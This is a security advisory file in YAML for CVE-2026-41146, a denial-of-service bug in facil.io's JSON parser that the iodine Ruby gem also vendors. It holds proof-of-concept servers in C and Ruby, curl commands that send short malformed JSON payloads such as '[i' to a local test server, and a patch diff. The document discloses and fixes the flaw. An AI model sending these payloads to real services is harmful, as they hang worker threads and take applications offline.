-
-
Notifications
You must be signed in to change notification settings - Fork 236
Expand file tree
/
Copy pathCVE-2026-41146.yml
More file actions
271 lines (214 loc) · 8.59 KB
/
Copy pathCVE-2026-41146.yml
File metadata and controls
271 lines (214 loc) · 8.59 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
---
gem: iodine
cve: 2026-41146
ghsa: 2x79-gwq3-vxxm
url: https://nvd.nist.gov/vuln/detail/CVE-2026-41146
title: Uncontrolled resource consumption and loop with unreachable
exit condition in facil.io and downstream iodine ruby gem
date: 2026-04-14
description: |
### Summary
`fio_json_parse` can enter an infinite loop when it encounters a
nested JSON value starting with `i` or `I`. The process spins in
user space and pegs one CPU core at ~100 instead of returning a
parse error.
Because `iodine` gem vendors the same parser code, the issue also
affects `iodine` gem when it parses attacker-controlled JSON.
The smallest reproducer found is `[i`. The quoted-value form that
originally exposed the issue, `[""i`, reaches the same bug because
the parser tolerates missing commas and then treats the trailing
`i` as the start of another value.
### Details
The vulnerable logic is in `lib/facil/fiobj/fio_json_parser.h` around
the numeral handling block (`0.7.5` / `0.7.6`: lines `434-468`;
`master`: lines `434-468` in the current tree as tested).
This parser is reached from real library entry points, not just
the header in isolation:
- `facil.io`: `lib/facil/fiobj/fiobj_json.c:377-387` (`fiobj_json2obj`)
and `402-411` (`fiobj_hash_update_json`)
- `iodine`: `ext/iodine/iodine_json.c:161-177` (`iodine_json_convert`)
- `iodine`: `ext/iodine/fiobj_json.c:377-387` and `402-411`
Relevant flow:
1. Inside an array or object, the parser sees `i` or `I` and jumps
to the `numeral:` label.
2. It calls `fio_atol((char **)&tmp)`.
3. For a bare `i` / `I`, `fio_atol` consumes zero characters and
leaves `tmp == pos`.
4. The current code only falls back to float parsing when
`JSON_NUMERAL[*tmp]` is true.
5. `JSON_NUMERAL['i'] == 0`, so the parser incorrectly accepts
the value as an integer and sets `pos = tmp` without advancing.
6. Because parsing is still nested (`parser->depth > 0`), the
outer loop continues forever with the same `pos`.
The same logic exists in `iodine`'s vendored copy at
`ext/iodine/fio_json_parser.h` lines `434-468`.
Why the `[""i` form hangs:
1. The parser accepts the empty string `""` as the first array element.
2. It does not require a comma before the next token.
3. The trailing `i` is then parsed as a new nested value.
4. The zero-progress numeral path above causes the infinite loop.
Examples that trigger the bug:
- Array form, minimal: `[i`
- Object form: `{"a":i`
- After a quoted value in an array: `[""i`
- After a quoted value in an object: `{"a":""i`
### Minimal standalone program
Use the normal HTTP stack. The following server calls `http_parse_body(h)`,
which reaches `fiobj_json2obj` and then `fio_json_parse` for
`Content-Type: application/json`.
```c
#define _POSIX_C_SOURCE 200809L
#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>
static void on_request(http_s *h) {
fprintf(stderr, "calling http_parse_body
");
fflush(stderr);
http_parse_body(h);
fprintf(stderr, "returned from http_parse_body
");
http_send_body(h, "ok
", 3);
}
int main(void) {
if (http_listen("3000", "127.0.0.1",
.on_request = on_request,
.max_body_size = (1024 * 1024),
.log = 1) == -1) {
perror("http_listen");
return 1;
}
fio_start(.threads = 1, .workers = 1);
return 0;
}
```
`http_parse_body(h)` is the higher-level entry point and, for
`Content-Type: application/json`, it reaches `fiobj_json2obj`
in `lib/facil/http/http.c:1947-1953`.
Save it as `src/main.c` in a vulnerable `facil.io` checkout
and build it with the repo `makefile`:
```bash
git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc
```
Run:
```bash
./tmp/http_json_poc
```
Then in another terminal send one of these payloads:
```bash
printf '[i' | curl --http1.1 -H 'Content-Type: application/json'
-X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json'
-X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json'
-X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json'
-X POST --data-binary @- http://127.0.0.1:3000/
```
Observed result on a vulnerable build:
- The server prints `calling http_parse_body` and never reaches
`returned from http_parse_body`.
- The request never completes.
- One worker thread spins until the process is killed.
### Downstream impact in `iodine`
`iodine` vendors the same parser implementation in
`ext/iodine/fio_json_parser.h`, so any `iodine` code path that
parses attacker-controlled JSON through this parser inherits
the same hang / CPU exhaustion behavior.
Single-file `iodine` HTTP server repro:
```ruby
require "iodine"
APP = proc do |env|
body = env["rack.input"].read.to_s
warn "calling Iodine::JSON.parse on: #{body.inspect}"
Iodine::JSON.parse(body)
warn "returned from Iodine::JSON.parse"
[200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok
"]]
end
Iodine.listen service: :http,
address: "127.0.0.1",
port: "3000",
handler: APP
Iodine.threads = 1
Iodine.workers = 1
Iodine.start
```
Run:
```bash
ruby iodine_json_parse_http_poc.rb
```
Then in a second terminal:
```bash
printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
```
On a vulnerable build, the server prints the `calling Iodine::JSON.parse...`
line but never prints the `returned from Iodine::JSON.parse` line
for these payloads.
## Impact
This is a denial-of-service issue. An attacker who can supply JSON
to an affected parser path can cause the process to spin indefinitely
and consume CPU at roughly 100 of one core. In practice, the impact
depends on whether an application exposes parser access to untrusted
clients, but for services that do, a single crafted request can tie
up a worker or thread until it is killed or restarted.
I would describe the impact as:
- Availability impact: high for affected parser entry points
- Confidentiality impact: none observed
- Integrity impact: none observed
## Suggested Patch
Treat zero-consumption numeric parses as failures before accepting the token.
```diff
diff --git a/lib/facil/fiobj/fio_json_parser.h \
b/lib/facil/fiobj/fio_json_parser.h
@@
uint8_t *tmp = pos;
long long i = fio_atol((char **)&tmp);
if (tmp > limit)
goto stop;
- if (!tmp || JSON_NUMERAL[*tmp]) {
+ if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
tmp = pos;
double f = fio_atof((char **)&tmp);
if (tmp > limit)
goto stop;
- if (!tmp || JSON_NUMERAL[*tmp])
+ if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
goto error;
fio_json_on_float(parser, f);
pos = tmp;
```
This preserves permissive `inf` / `nan` handling when the float
parser actually consumes input, but rejects bare `i` / `I` tokens
that otherwise leave the cursor unchanged.
The same change should be mirrored to `iodine`'s vendored copy:
- `ext/iodine/fio_json_parser.h`
## Impact
- `facil.io`
- Verified on `master` commit `162df84001d66789efa883eebb0567426d00148e`
(`git describe`: `0.7.5-24-g162df840`)
- Verified on tagged releases `0.7.5` and `0.7.6`
- `iodine` Ruby gem
- Verified on repo commit `5bebba698d69023cf47829afe51052f8caa6c7f8`
- Verified on tag / gem version `v0.7.58`
- The gem vendors a copy of the vulnerable parser in
`ext/iodine/fio_json_parser.h`
cvss_v4: 8.7
related:
url:
- https://nvd.nist.gov/vuln/detail/CVE-2026-41146
- https://github.com/boazsegev/iodine/releases/tag/v0.7.58
- https://github.com/boazsegev/iodine/commit/0855989d74098d838b972520835cfc256bc479bc
- https://github.com/boazsegev/facil.io/commit/5128747363055201d3ecf0e29bf0a961703c9fa0
- https://github.com/boazsegev/facil.io/security/advisories/GHSA-2x79-gwq3-vxxm
- https://github.com/advisories/GHSA-2x79-gwq3-vxxm
notes: |
- FYI: iodine commit above contains the unreleased patch.
- Found GHSA's `patched_versions:` field is "0.7.59" but never released.